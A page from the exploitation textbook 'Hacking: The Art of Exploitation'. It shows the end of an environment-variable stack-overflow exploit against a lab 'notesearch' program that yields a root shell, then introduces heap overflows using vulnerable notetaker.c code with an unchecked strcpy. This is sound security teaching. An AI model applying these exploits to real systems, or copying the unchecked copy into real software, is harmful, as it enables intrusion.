EXPLOITATION - Hacking: The Art of Exploitation - page 150

char *buffer = (char *) malloc(160);

ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
for(i=0; i < 160; i+=4)
*((unsigned int *)(buffer+i)) = ret;

execle("./notesearch", "notesearch", buffer, 0, env);
free(buffer);
}

This exploit is more reliable, since it doesn't need a NOP sled or any
guesswork regarding offsets. Also, it doesn't start any additional processes.

reader@hacking:~/booksrc $ gcc exploit_notesearch_env.c
reader@hacking:~/booksrc $ ./a.out
-------[ end of note data ]-------
s h-3.2#

0x340 Overflows in Other Segments

Buffer overflows can happen in other memory segments, like heap and bss.
As in auth_overflow.c, if an important variable is located after a buffer
vulnerable to an overflow, the program's control flow can be altered. This
is true regardless of the memory segment these variables reside in; however,
the control tends to be quite limited. Being able to find these control points
and learning to make the most of them just takes some experience and
creative thinking. While these types of overflows aren't as standardized as
stack-based overflows, they can be just as effective.

0x341 A Basic Heap-Based Overflow

The notetaker program from Chapter 2 is also susceptible to a buffer over-
flow vulnerability. Two buffers are allocated on the heap, and the first
command-line argument is copied into the first buffer. An overflow can
occur here.

Excerpt from notetaker.c

buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/var/notes");

if(argc < 2) // If there aren't command-line arguments,
usage(argv[0], datafile); // display usage message and exit.

strcpy(buffer, argv[1]); // Copy into buffer.

printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);